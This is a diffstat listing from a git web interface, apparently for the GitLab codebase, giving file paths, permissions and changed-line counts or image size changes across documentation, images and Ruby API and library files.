-rw-r--r--doc/integration/shibboleth.md152
-rw-r--r--doc/intro/README.md9
-rw-r--r--doc/legal/README.md9
-rw-r--r--doc/migrate_ci_to_ce/index.md9
-rw-r--r--doc/operations/error_tracking.md2
-rw-r--r--doc/operations/feature_flags.md14
-rw-r--r--doc/operations/incident_management/alert_integrations.md9
-rw-r--r--doc/operations/incident_management/alerts.md20
-rw-r--r--doc/operations/incident_management/escalation_policies.md43
-rw-r--r--doc/operations/incident_management/img/escalation_policy_v14_1.pngbin0 -> 19996 bytes
-rw-r--r--doc/operations/incident_management/img/link_runbooks_to_alerts_v13_5.pngbin77748 -> 0 bytes
-rw-r--r--doc/operations/incident_management/incidents.md2
-rw-r--r--doc/operations/incident_management/integrations.md4
-rw-r--r--doc/operations/metrics/alerts.md48
-rw-r--r--doc/operations/metrics/dashboards/img/panel_context_menu_v13_3.pngbin14538 -> 0 bytes
-rw-r--r--doc/operations/metrics/dashboards/img/panel_context_menu_v14_0.pngbin0 -> 11084 bytes
-rw-r--r--doc/operations/metrics/dashboards/index.md6
-rw-r--r--doc/operations/metrics/dashboards/variables.md2
-rw-r--r--doc/operations/metrics/img/prometheus_integration_alerts.png (renamed from doc/operations/metrics/img/prometheus_service_alerts.png)bin16084 -> 16084 bytes
-rw-r--r--doc/public_access/public_access.md82
-rw-r--r--doc/raketasks/README.md9
-rw-r--r--doc/raketasks/backup_restore.md18
-rw-r--r--doc/raketasks/index.md2
-rw-r--r--doc/security/README.md32
-rw-r--r--doc/security/cicd_environment_variables.md9
-rw-r--r--doc/security/cicd_variables.md4
-rw-r--r--doc/security/index.md32
-rw-r--r--doc/security/passwords_for_integrated_authentication_methods.md2
-rw-r--r--doc/security/token_overview.md10
-rw-r--r--doc/ssh/README.md385
-rw-r--r--doc/ssh/index.md385
-rw-r--r--doc/subscriptions/bronze_starter.md10
-rw-r--r--doc/subscriptions/gitlab_com/index.md41
-rw-r--r--doc/subscriptions/index.md6
-rw-r--r--doc/subscriptions/self_managed/index.md2
-rw-r--r--doc/topics/authentication/index.md10
-rw-r--r--doc/topics/autodevops/customize.md39
-rw-r--r--doc/topics/autodevops/index.md84
-rw-r--r--doc/topics/autodevops/quick_start_guide.md16
-rw-r--r--doc/topics/autodevops/requirements.md4
-rw-r--r--doc/topics/autodevops/stages.md16
-rw-r--r--doc/topics/autodevops/troubleshooting.md2
-rw-r--r--doc/topics/autodevops/upgrading_auto_deploy_dependencies.md8
-rw-r--r--doc/topics/autodevops/upgrading_postgresql.md4
-rw-r--r--doc/topics/build_your_application.md2
-rw-r--r--doc/topics/cron/index.md4
-rw-r--r--doc/topics/git/how_to_install_git/index.md6
-rw-r--r--doc/topics/git/index.md2
-rw-r--r--doc/topics/git/lfs/index.md43
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.pngbin33399 -> 17115 bytes
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/img/revert.pngbin21473 -> 11230 bytes
-rw-r--r--doc/topics/git/numerous_undo_possibilities_in_git/index.md2
-rw-r--r--doc/topics/git/troubleshooting_git.md2
-rw-r--r--doc/topics/gitlab_flow.md2
-rw-r--r--doc/topics/index.md2
-rw-r--r--doc/topics/set_up_organization.md7
-rw-r--r--doc/university/README.md9
-rw-r--r--doc/university/training/gitlab_flow.md9
-rw-r--r--doc/university/training/topics/cherry_picking.md9
-rw-r--r--doc/university/training/topics/tags.md9
-rw-r--r--doc/update/README.md9
-rw-r--r--doc/update/index.md111
-rw-r--r--doc/update/patch_versions.md5
-rw-r--r--doc/user/admin_area/analytics/dev_ops_report.md49
-rw-r--r--doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.pngbin52947 -> 0 bytes
-rw-r--r--doc/user/admin_area/analytics/img/admin_devops_adoption_v14_1.pngbin0 -> 53453 bytes
-rw-r--r--doc/user/admin_area/analytics/user_cohorts.md9
-rw-r--r--doc/user/admin_area/approving_users.md3
-rw-r--r--doc/user/admin_area/credentials_inventory.md2
-rw-r--r--doc/user/admin_area/custom_project_templates.md29
-rw-r--r--doc/user/admin_area/diff_limits.md11
-rw-r--r--doc/user/admin_area/img/index_runners_search_or_filter.pngbin22414 -> 0 bytes
-rw-r--r--doc/user/admin_area/img/index_runners_search_or_filter_v14_1.pngbin0 -> 13248 bytes
-rw-r--r--doc/user/admin_area/index.md15
-rw-r--r--doc/user/admin_area/license.md4
-rw-r--r--doc/user/admin_area/moderate_users.md32
-rw-r--r--doc/user/admin_area/monitoring/background_migrations.md45
-rw-r--r--doc/user/admin_area/monitoring/img/batched_background_migrations_queued_v14_0.pngbin0 -> 11690 bytes
-rw-r--r--doc/user/admin_area/review_abuse_reports.md2
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md9
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md55
-rw-r--r--doc/user/admin_area/settings/gitaly_timeouts.md19
-rw-r--r--doc/user/admin_area/settings/help_page.md52
-rw-r--r--doc/user/admin_area/settings/img/enforce_terms.pngbin156968 -> 54958 bytes
-rw-r--r--doc/user/admin_area/settings/img/help_page_help_text_ex_v12_3.pngbin48882 -> 0 bytes
-rw-r--r--doc/user/admin_area/settings/img/help_page_help_text_v12_3.pngbin19190 -> 0 bytes
-rw-r--r--doc/user/admin_area/settings/index.md4
-rw-r--r--doc/user/admin_area/settings/sign_in_restrictions.md2
-rw-r--r--doc/user/admin_area/settings/third_party_offers.md7
-rw-r--r--doc/user/admin_area/settings/usage_statistics.md10
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md15
-rw-r--r--doc/user/analytics/ci_cd_analytics.md4
-rw-r--r--doc/user/analytics/value_stream_analytics.md6
-rw-r--r--doc/user/application_security/api_fuzzing/create_har_files.md2
-rw-r--r--doc/user/application_security/api_fuzzing/index.md14
-rw-r--r--doc/user/application_security/cluster_image_scanning/index.md281
-rw-r--r--doc/user/application_security/configuration/index.md79
-rw-r--r--doc/user/application_security/container_scanning/index.md34
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md10
-rw-r--r--doc/user/application_security/dast/browser_based.md6
-rw-r--r--doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.pngbin203980 -> 62252 bytes
-rw-r--r--doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.pngbin155046 -> 46272 bytes
-rw-r--r--doc/user/application_security/dast/index.md203
-rw-r--r--doc/user/application_security/dast_api/index.md16
-rw-r--r--doc/user/application_security/dependency_list/index.md2
-rw-r--r--doc/user/application_security/dependency_scanning/index.md82
-rw-r--r--doc/user/application_security/index.md44
-rw-r--r--doc/user/application_security/offline_deployments/index.md4
-rw-r--r--doc/user/application_security/policies/index.md4
-rw-r--r--doc/user/application_security/sast/img/sast_results_in_mr_v14_0.pngbin0 -> 38616 bytes
-rw-r--r--doc/user/application_security/sast/index.md42
-rw-r--r--doc/user/application_security/secret_detection/index.md62
-rw-r--r--doc/user/application_security/security_dashboard/index.md5
-rw-r--r--doc/user/application_security/terminology/index.md1
-rw-r--r--doc/user/application_security/threat_monitoring/index.md23
-rw-r--r--doc/user/application_security/vulnerabilities/index.md2
-rw-r--r--doc/user/application_security/vulnerability_report/index.md4
-rw-r--r--doc/user/clusters/agent/ci_cd_tunnel.md67
-rw-r--r--doc/user/clusters/agent/index.md62
-rw-r--r--doc/user/clusters/agent/repository.md11
-rw-r--r--doc/user/clusters/applications.md16
-rw-r--r--doc/user/clusters/integrations.md6
-rw-r--r--doc/user/clusters/management_project.md15
-rw-r--r--doc/user/clusters/management_project_template.md16
-rw-r--r--doc/user/clusters/migrating_from_gma_to_project_template.md6
-rw-r--r--doc/user/compliance/compliance_dashboard/index.md16
-rw-r--r--doc/user/compliance/license_compliance/img/policies_maintainer_edit_v13_2.pngbin20327 -> 0 bytes
-rw-r--r--doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_2.pngbin0 -> 49070 bytes
-rw-r--r--doc/user/compliance/license_compliance/index.md37
-rw-r--r--doc/user/discussions/img/automatically_resolve_outdated_discussions.pngbin21735 -> 0 bytes
-rw-r--r--doc/user/discussions/img/btn_new_issue_for_all_threads.pngbin6716 -> 12468 bytes
-rw-r--r--doc/user/discussions/img/comment_type_toggle.gifbin70796 -> 0 bytes
-rw-r--r--doc/user/discussions/img/commit_comment_mr_context.pngbin103558 -> 0 bytes
-rw-r--r--doc/user/discussions/img/commit_comment_mr_discussions_tab.pngbin76927 -> 0 bytes
-rw-r--r--doc/user/discussions/img/discussion_lock_system_notes.pngbin14288 -> 0 bytes
-rw-r--r--doc/user/discussions/img/image_resolved_discussion.pngbin55713 -> 0 bytes
-rw-r--r--doc/user/discussions/img/lock_form_member.pngbin23780 -> 0 bytes
-rw-r--r--doc/user/discussions/img/lock_form_non_member.pngbin8362 -> 0 bytes
-rw-r--r--doc/user/discussions/img/merge_request_commits_tab.pngbin54318 -> 0 bytes
-rw-r--r--doc/user/discussions/img/new_issue_for_thread.pngbin6725 -> 11820 bytes
-rw-r--r--doc/user/discussions/img/onion_skin_view.pngbin29955 -> 0 bytes
-rw-r--r--doc/user/discussions/img/preview_issue_for_thread.pngbin33240 -> 0 bytes
-rw-r--r--doc/user/discussions/img/preview_issue_for_threads.pngbin36192 -> 0 bytes
-rw-r--r--doc/user/discussions/img/quickly_assign_commenter_v13_1.pngbin69299 -> 43849 bytes
-rw-r--r--doc/user/discussions/img/reply_to_comment.gifbin508115 -> 0 bytes
-rw-r--r--doc/user/discussions/img/resolve_comment_button.pngbin3784 -> 0 bytes
-rw-r--r--doc/user/discussions/img/resolve_thread_button_v13_3.pngbin10093 -> 0 bytes
-rw-r--r--doc/user/discussions/img/resolve_thread_issue_notice.pngbin13845 -> 0 bytes
-rw-r--r--doc/user/discussions/img/resolve_thread_open_issue_v13_9.pngbin13410 -> 0 bytes
-rw-r--r--doc/user/discussions/img/start_image_discussion.gifbin146627 -> 208151 bytes
-rw-r--r--doc/user/discussions/img/swipe_view.pngbin20840 -> 0 bytes
-rw-r--r--doc/user/discussions/img/thread_view.pngbin162019 -> 0 bytes
-rw-r--r--doc/user/discussions/img/turn_off_lock.pngbin9626 -> 0 bytes
-rw-r--r--doc/user/discussions/img/turn_on_lock.pngbin10409 -> 0 bytes
-rw-r--r--doc/user/discussions/img/two_up_view.pngbin34612 -> 0 bytes
-rw-r--r--doc/user/discussions/img/unresolved_threads_v14_1.pngbin0 -> 1540 bytes
-rw-r--r--doc/user/discussions/index.md409
-rw-r--r--doc/user/gitlab_com/index.md69
-rw-r--r--doc/user/group/clusters/index.md10
-rw-r--r--doc/user/group/contribution_analytics/index.md8
-rw-r--r--doc/user/group/custom_project_templates.md59
-rw-r--r--doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.pngbin52890 -> 0 bytes
-rw-r--r--doc/user/group/devops_adoption/img/group_devops_adoption_v14_1.pngbin0 -> 54919 bytes
-rw-r--r--doc/user/group/devops_adoption/index.md53
-rw-r--r--doc/user/group/epics/epic_boards.md45
-rw-r--r--doc/user/group/epics/manage_epics.md4
-rw-r--r--doc/user/group/import/img/bulk_imports_v13_8.pngbin22574 -> 0 bytes
-rw-r--r--doc/user/group/import/img/bulk_imports_v14_1.pngbin0 -> 24726 bytes
-rw-r--r--doc/user/group/import/img/import_panel_v13_8.pngbin39125 -> 0 bytes
-rw-r--r--doc/user/group/import/img/import_panel_v14_1.pngbin0 -> 42789 bytes
-rw-r--r--doc/user/group/import/index.md9
-rw-r--r--doc/user/group/index.md15
-rw-r--r--doc/user/group/iterations/index.md105
-rw-r--r--doc/user/group/repositories_analytics/index.md2
-rw-r--r--doc/user/group/saml_sso/img/saml_group_links_v13_9.pngbin162931 -> 45131 bytes
-rw-r--r--doc/user/group/saml_sso/index.md6
-rw-r--r--doc/user/group/settings/img/import_panel_v13_4.pngbin23373 -> 0 bytes
-rw-r--r--doc/user/group/settings/img/import_panel_v14_1.pngbin0 -> 42789 bytes
-rw-r--r--doc/user/group/settings/import_export.md8
-rw-r--r--doc/user/group/subgroups/index.md2
-rw-r--r--doc/user/group/value_stream_analytics/index.md41
-rw-r--r--doc/user/img/todos_add_todo_sidebar.pngbin17524 -> 0 bytes
-rw-r--r--doc/user/img/todos_add_todo_sidebar_v14_1.pngbin0 -> 6554 bytes
-rw-r--r--doc/user/img/todos_mark_done_sidebar.pngbin17619 -> 0 bytes
-rw-r--r--doc/user/img/todos_mark_done_sidebar_v14_1.pngbin0 -> 7055 bytes
-rw-r--r--doc/user/index.md12
-rw-r--r--doc/user/infrastructure/clusters/connect/new_gke_cluster.md94
-rw-r--r--doc/user/infrastructure/clusters/deploy/inventory_object.md69
-rw-r--r--doc/user/infrastructure/index.md42
-rw-r--r--doc/user/infrastructure/mr_integration.md4
-rw-r--r--doc/user/infrastructure/terraform_state.md2
-rw-r--r--doc/user/markdown.md15
-rw-r--r--doc/user/packages/composer_repository/index.md2
-rw-r--r--doc/user/packages/conan_repository/index.md2
-rw-r--r--doc/user/packages/container_registry/index.md42
-rw-r--r--doc/user/packages/debian_repository/index.md111
-rw-r--r--doc/user/packages/dependency_proxy/index.md27
-rw-r--r--doc/user/packages/generic_packages/index.md18
-rw-r--r--doc/user/packages/go_proxy/index.md2
-rw-r--r--doc/user/packages/helm_repository/index.md89
-rw-r--r--doc/user/packages/index.md2
-rw-r--r--doc/user/packages/infrastructure_registry/index.md2
-rw-r--r--doc/user/packages/maven_repository/index.md21
-rw-r--r--doc/user/packages/npm_registry/index.md33
-rw-r--r--doc/user/packages/nuget_repository/index.md32
-rw-r--r--doc/user/packages/package_registry/index.md6
-rw-r--r--doc/user/packages/pypi_repository/index.md4
-rw-r--r--doc/user/packages/rubygems_registry/index.md2
-rw-r--r--doc/user/packages/terraform_module_registry/index.md12
-rw-r--r--doc/user/permissions.md72
-rw-r--r--doc/user/profile/account/two_factor_authentication.md4
-rw-r--r--doc/user/profile/img/unknown_sign_in_email_v14_0.pngbin68946 -> 21301 bytes
-rw-r--r--doc/user/profile/index.md14
-rw-r--r--doc/user/profile/notifications.md10
-rw-r--r--doc/user/profile/personal_access_tokens.md27
-rw-r--r--doc/user/profile/preferences.md26
-rw-r--r--doc/user/project/canary_deployments.md2
-rw-r--r--doc/user/project/clusters/add_eks_clusters.md376
-rw-r--r--doc/user/project/clusters/add_existing_cluster.md224
-rw-r--r--doc/user/project/clusters/add_gke_clusters.md32
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md389
-rw-r--r--doc/user/project/clusters/cluster_access.md88
-rw-r--r--doc/user/project/clusters/deploy_to_cluster.md141
-rw-r--r--doc/user/project/clusters/gitlab_managed_clusters.md102
-rw-r--r--doc/user/project/clusters/index.md411
-rw-r--r--doc/user/project/clusters/multiple_kubernetes_clusters.md71
-rw-r--r--doc/user/project/clusters/protect/container_host_security/quick_start_guide.md4
-rw-r--r--doc/user/project/clusters/protect/container_network_security/quick_start_guide.md121
-rw-r--r--doc/user/project/clusters/serverless/aws.md4
-rw-r--r--doc/user/project/clusters/serverless/img/function-details-loaded.pngbin34302 -> 0 bytes
-rw-r--r--doc/user/project/clusters/serverless/img/function-details-loaded_v14_0.pngbin0 -> 21864 bytes
-rw-r--r--doc/user/project/clusters/serverless/img/serverless-page.pngbin50711 -> 0 bytes
-rw-r--r--doc/user/project/clusters/serverless/img/serverless-page_v14_0.pngbin0 -> 18188 bytes
-rw-r--r--doc/user/project/clusters/serverless/index.md6
-rw-r--r--doc/user/project/code_owners.md97
-rw-r--r--doc/user/project/deploy_boards.md6
-rw-r--r--doc/user/project/deploy_keys/index.md7
-rw-r--r--doc/user/project/description_templates.md2
-rw-r--r--doc/user/project/file_lock.md2
-rw-r--r--doc/user/project/img/protected_branches_delete.pngbin21507 -> 0 bytes
-rw-r--r--doc/user/project/img/protected_branches_deploy_keys_v13_5.pngbin16142 -> 0 bytes
-rw-r--r--doc/user/project/img/protected_branches_matches.pngbin12028 -> 0 bytes
-rw-r--r--doc/user/project/img/protected_branches_select_roles_and_users.pngbin7155 -> 0 bytes
-rw-r--r--doc/user/project/img/protected_branches_select_roles_and_users_list.pngbin7408 -> 0 bytes
-rw-r--r--doc/user/project/import/bitbucket_server.md4
-rw-r--r--doc/user/project/import/fogbugz.md37
-rw-r--r--doc/user/project/import/github.md10
-rw-r--r--doc/user/project/import/index.md6
-rw-r--r--doc/user/project/import/jira.md2
-rw-r--r--doc/user/project/index.md4
-rw-r--r--doc/user/project/integrations/github.md2
-rw-r--r--doc/user/project/integrations/hangouts_chat.md2
-rw-r--r--doc/user/project/integrations/img/project_integrations_v13_3.pngbin38249 -> 0 bytes
-rw-r--r--doc/user/project/integrations/jira_cloud_configuration.md9
-rw-r--r--doc/user/project/integrations/jira_server_configuration.md9
-rw-r--r--doc/user/project/integrations/mattermost_slash_commands.md2
-rw-r--r--doc/user/project/integrations/overview.md9
-rw-r--r--doc/user/project/integrations/pivotal_tracker.md47
-rw-r--r--doc/user/project/integrations/prometheus_library/index.md2
-rw-r--r--doc/user/project/integrations/prometheus_library/kubernetes.md2
-rw-r--r--doc/user/project/integrations/webex_teams.md2
-rw-r--r--doc/user/project/integrations/webhooks.md66
-rw-r--r--doc/user/project/issue_board.md8
-rw-r--r--doc/user/project/issues/associate_zoom_meeting.md2
-rw-r--r--doc/user/project/issues/confidential_issues.md6
-rw-r--r--doc/user/project/issues/crosslinking_issues.md4
-rw-r--r--doc/user/project/issues/img/issue_type_change_v13_12.pngbin52414 -> 16859 bytes
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md6
-rw-r--r--doc/user/project/issues/managing_issues.md4
-rw-r--r--doc/user/project/issues/sorting_issue_lists.md4
-rw-r--r--doc/user/project/labels.md10
-rw-r--r--doc/user/project/members/index.md8
-rw-r--r--doc/user/project/merge_requests/accessibility_testing.md4
-rw-r--r--doc/user/project/merge_requests/approvals/index.md23
-rw-r--r--doc/user/project/merge_requests/approvals/rules.md11
-rw-r--r--doc/user/project/merge_requests/approvals/settings.md12
-rw-r--r--doc/user/project/merge_requests/authorization_for_merge_requests.md2
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md6
-rw-r--r--doc/user/project/merge_requests/code_quality.md83
-rw-r--r--doc/user/project/merge_requests/commits.md59
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md292
-rw-r--r--doc/user/project/merge_requests/drafts.md4
-rw-r--r--doc/user/project/merge_requests/fail_fast_testing.md8
-rw-r--r--doc/user/project/merge_requests/img/add_previously_merged_commits_button_v14_1.pngbin0 -> 19306 bytes
-rw-r--r--doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.pngbin54803 -> 13676 bytes
-rw-r--r--doc/user/project/merge_requests/img/create_from_email.pngbin69480 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/create_merge_request_button_v12_6.pngbin9428 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/new_merge_request_page_v12_6.pngbin81875 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/img/previously_merged_commits_v14_1.pngbin0 -> 26788 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_widget_passed_v14_0.pngbin0 -> 12850 bytes
-rw-r--r--doc/user/project/merge_requests/img/status_checks_widget_pending_v14_0.pngbin0 -> 12735 bytes
-rw-r--r--doc/user/project/merge_requests/index.md6
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md8
-rw-r--r--doc/user/project/merge_requests/merge_request_dependencies.md2
-rw-r--r--doc/user/project/merge_requests/merge_when_pipeline_succeeds.md8
-rw-r--r--doc/user/project/merge_requests/reviews/index.md2
-rw-r--r--doc/user/project/merge_requests/reviews/suggestions.md4
-rw-r--r--doc/user/project/merge_requests/status_checks.md60
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md16
-rw-r--r--doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md8
-rw-r--r--doc/user/project/merge_requests/widgets.md8
-rw-r--r--doc/user/project/merge_requests/work_in_progress_merge_requests.md9
-rw-r--r--doc/user/project/new_ci_build_permissions_model.md9
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md145
-rw-r--r--doc/user/project/pages/index.md2
-rw-r--r--doc/user/project/pages/introduction.md4
-rw-r--r--doc/user/project/pages/lets_encrypt_for_gitlab_pages.md2
-rw-r--r--doc/user/project/protected_branches.md280
-rw-r--r--doc/user/project/protected_tags.md19
-rw-r--r--doc/user/project/push_options.md3
-rw-r--r--doc/user/project/quick_actions.md4
-rw-r--r--doc/user/project/releases/index.md218
-rw-r--r--doc/user/project/repository/branches/default.md41
-rw-r--r--doc/user/project/repository/csv.md24
-rw-r--r--doc/user/project/repository/img/csv_file_rendered_as_table_v14_1.pngbin0 -> 39700 bytes
-rw-r--r--doc/user/project/repository/img/repository_mirroring_pull_settings_lower.pngbin58056 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/repository_mirroring_pull_settings_upper.pngbin50084 -> 0 bytes
-rw-r--r--doc/user/project/repository/img/repository_mirroring_push_settings.pngbin31174 -> 0 bytes
-rw-r--r--doc/user/project/repository/index.md4
-rw-r--r--doc/user/project/repository/repository_mirroring.md124
-rw-r--r--doc/user/project/requirements/index.md2
-rw-r--r--doc/user/project/service_desk.md71
-rw-r--r--doc/user/project/settings/import_export.md6
-rw-r--r--doc/user/project/settings/index.md61
-rw-r--r--doc/user/project/settings/project_access_tokens.md20
-rw-r--r--doc/user/project/time_tracking.md61
-rw-r--r--doc/user/project/web_ide/index.md2
-rw-r--r--doc/user/project/wiki/index.md8
-rw-r--r--doc/user/project/working_with_projects.md11
-rw-r--r--doc/user/search/advanced_search.md6
-rw-r--r--doc/user/search/index.md16
-rw-r--r--doc/user/snippets.md4
-rw-r--r--doc/user/todos.md14
-rw-r--r--doc/user/workspace/img/1.1-Instance_overview.pngbin0 -> 30491 bytes
-rw-r--r--doc/user/workspace/img/1.2-Groups_overview.pngbin0 -> 24876 bytes
-rw-r--r--doc/user/workspace/img/1.3-Admin.pngbin0 -> 32534 bytes
-rw-r--r--doc/user/workspace/img/Admin_Settings.pngbin0 -> 519556 bytes
-rw-r--r--doc/user/workspace/index.md34
-rw-r--r--generator_templates/usage_metric_definition/metric_definition.yml2
-rw-r--r--lefthook.yml6
-rw-r--r--lib/api/admin/ci/variables.rb2
-rw-r--r--lib/api/admin/plan_limits.rb1
-rw-r--r--lib/api/api.rb3
-rw-r--r--lib/api/bulk_imports.rb91
-rw-r--r--lib/api/ci/runner.rb18
-rw-r--r--lib/api/ci/runners.rb34
-rw-r--r--lib/api/commit_statuses.rb60
-rw-r--r--lib/api/concerns/packages/debian_package_endpoints.rb41
-rw-r--r--lib/api/debian_group_packages.rb6
-rw-r--r--lib/api/entities/basic_project_details.rb2
-rw-r--r--lib/api/entities/bulk_import.rb13
-rw-r--r--lib/api/entities/bulk_imports/entity.rb22
-rw-r--r--lib/api/entities/bulk_imports/entity_failure.rb15
-rw-r--r--lib/api/entities/ci/job.rb2
-rw-r--r--lib/api/entities/ci/job_request/artifacts.rb20
-rw-r--r--lib/api/entities/ci/job_request/cache.rb13
-rw-r--r--lib/api/entities/ci/job_request/credentials.rb13
-rw-r--r--lib/api/entities/ci/job_request/dependency.rb14
-rw-r--r--lib/api/entities/ci/job_request/git_info.rb16
-rw-r--r--lib/api/entities/ci/job_request/image.rb14
-rw-r--r--lib/api/entities/ci/job_request/job_info.rb14
-rw-r--r--lib/api/entities/ci/job_request/port.rb13
-rw-r--r--lib/api/entities/ci/job_request/response.rb39
-rw-r--r--lib/api/entities/ci/job_request/runner_info.rb14
-rw-r--r--lib/api/entities/ci/job_request/service.rb13
-rw-r--r--lib/api/entities/ci/job_request/step.rb13
-rw-r--r--lib/api/entities/ci/runner.rb19
-rw-r--r--lib/api/entities/ci/runner_details.rb36
-rw-r--r--lib/api/entities/ci/runner_registration_details.rb11
-rw-r--r--lib/api/entities/group_detail.rb1
-rw-r--r--lib/api/entities/helm/index.rb14
-rw-r--r--lib/api/entities/job_request/artifacts.rb18
-rw-r--r--lib/api/entities/job_request/cache.rb11
-rw-r--r--lib/api/entities/job_request/credentials.rb11
-rw-r--r--lib/api/entities/job_request/dependency.rb12
-rw-r--r--lib/api/entities/job_request/git_info.rb14
-rw-r--r--lib/api/entities/job_request/image.rb12
-rw-r--r--lib/api/entities/job_request/job_info.rb12
-rw-r--r--lib/api/entities/job_request/port.rb11
-rw-r--r--lib/api/entities/job_request/response.rb37
-rw-r--r--lib/api/entities/job_request/runner_info.rb12
-rw-r--r--lib/api/entities/job_request/service.rb11
-rw-r--r--lib/api/entities/job_request/step.rb11
-rw-r--r--lib/api/entities/label.rb4
-rw-r--r--lib/api/entities/plan_limit.rb1
-rw-r--r--lib/api/entities/project.rb8
-rw-r--r--lib/api/entities/project_integration.rb25
-rw-r--r--lib/api/entities/project_integration_basic.rb17
-rw-r--r--lib/api/entities/project_service.rb17
-rw-r--r--lib/api/entities/project_service_basic.rb17
-rw-r--r--lib/api/entities/resource_access_token.rb11
-rw-r--r--lib/api/entities/resource_access_token_with_token.rb9
-rw-r--r--lib/api/entities/runner.rb17
-rw-r--r--lib/api/entities/runner_details.rb34
-rw-r--r--lib/api/entities/runner_registration_details.rb9
-rw-r--r--lib/api/entities/user.rb2
-rw-r--r--lib/api/error_tracking_collector.rb73
-rw-r--r--lib/api/geo.rb29
-rw-r--r--lib/api/group_avatar.rb22
-rw-r--r--lib/api/groups.rb25
-rw-r--r--lib/api/helm_packages.rb79
-rw-r--r--lib/api/helpers.rb4
-rw-r--r--lib/api/helpers/caching.rb107
-rw-r--r--lib/api/helpers/groups_helpers.rb4
-rw-r--r--lib/api/helpers/integrations_helpers.rb822
-rw-r--r--lib/api/helpers/projects_helpers.rb2
-rw-r--r--lib/api/helpers/runner.rb4
-rw-r--r--lib/api/helpers/services_helpers.rb822
-rw-r--r--lib/api/helpers/snippets_helpers.rb18
-rw-r--r--lib/api/internal/base.rb11
-rw-r--r--lib/api/internal/kubernetes.rb2
-rw-r--r--lib/api/issues.rb10
-rw-r--r--lib/api/job_artifacts.rb2
-rw-r--r--lib/api/lint.rb6
-rw-r--r--lib/api/nuget_project_packages.rb120
-rw-r--r--lib/api/project_packages.rb4
-rw-r--r--lib/api/project_snippets.rb6
-rw-r--r--lib/api/projects.rb6
-rw-r--r--lib/api/releases.rb4
-rw-r--r--lib/api/repositories.rb34
-rw-r--r--lib/api/resource_access_tokens.rb8
-rw-r--r--lib/api/services.rb97
-rw-r--r--lib/api/settings.rb4
-rw-r--r--lib/api/snippets.rb6
-rw-r--r--lib/api/system_hooks.rb1
-rw-r--r--lib/api/usage_data.rb2
-rw-r--r--lib/api/usage_data_non_sql_metrics.rb2
-rw-r--r--lib/api/usage_data_queries.rb2
-rw-r--r--lib/api/variables.rb2
-rw-r--r--lib/backup/database.rb40
-rw-r--r--lib/backup/gitaly_backup.rb18
-rw-r--r--lib/backup/gitaly_rpc_backup.rb4
-rw-r--r--lib/backup/repositories.rb5
-rw-r--r--lib/banzai/filter/references/label_reference_filter.rb20
-rw-r--r--lib/banzai/filter/references/milestone_reference_filter.rb101
-rw-r--r--lib/banzai/filter/upload_link_filter.rb19
-rw-r--r--lib/banzai/filter/wiki_link_filter.rb19
-rw-r--r--lib/banzai/reference_extractor.rb4
-rw-r--r--lib/banzai/reference_parser/base_parser.rb12
-rw-r--r--lib/banzai/reference_parser/commit_parser.rb2
-rw-r--r--lib/banzai/reference_parser/commit_range_parser.rb2
-rw-r--r--lib/banzai/reference_parser/external_issue_parser.rb2
-rw-r--r--lib/banzai/reference_parser/issuable_parser.rb2
-rw-r--r--lib/banzai/reference_parser/user_parser.rb2
-rw-r--r--lib/bulk_imports/clients/graphql.rb27
-rw-r--r--lib/bulk_imports/clients/http.rb35
-rw-r--r--lib/bulk_imports/common/extractors/ndjson_extractor.rb6
-rw-r--r--lib/bulk_imports/common/extractors/rest_extractor.rb2
-rw-r--r--lib/bulk_imports/error.rb9
-rw-r--r--lib/bulk_imports/groups/extractors/subgroups_extractor.rb2
-rw-r--r--lib/bulk_imports/groups/graphql/get_members_query.rb1
-rw-r--r--lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb49
-rw-r--r--lib/bulk_imports/groups/pipelines/members_pipeline.rb3
-rw-r--r--lib/bulk_imports/groups/transformers/member_attributes_transformer.rb16
-rw-r--r--lib/bulk_imports/ndjson_pipeline.rb6
-rw-r--r--lib/bulk_imports/stage.rb4
-rw-r--r--lib/bulk_imports/users_mapper.rb51
-rw-r--r--lib/error_tracking/collector/sentry_request_parser.rb38
-rw-r--r--lib/extracts_path.rb46
-rw-r--r--lib/gitlab.rb1
-rw-r--r--lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb4
-rw-r--r--lib/gitlab/analytics/unique_visits.rb4
-rw-r--r--lib/gitlab/auth.rb4
-rw-r--r--lib/gitlab/auth/auth_finders.rb6
-rw-r--r--lib/gitlab/auth/ldap/adapter.rb16
-rw-r--r--lib/gitlab/auth/ldap/config.rb4
-rw-r--r--lib/gitlab/auth/u2f_webauthn_converter.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_draft_status_on_merge_requests.rb33
-rw-r--r--lib/gitlab/background_migration/backfill_upvotes_count_on_issues.rb40
-rw-r--r--lib/gitlab/background_migration/delete_orphaned_deployments.rb32
-rw-r--r--lib/gitlab/background_migration/migrate_merge_request_diff_commit_users.rb287
-rw-r--r--lib/gitlab/background_migration/migrate_u2f_webauthn.rb1
-rw-r--r--lib/gitlab/background_migration/populate_latest_pipeline_ids.rb27
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/note.rb2
-rw-r--r--lib/gitlab/backup_logger.rb9
-rw-r--r--lib/gitlab/bitbucket_import/importer.rb5
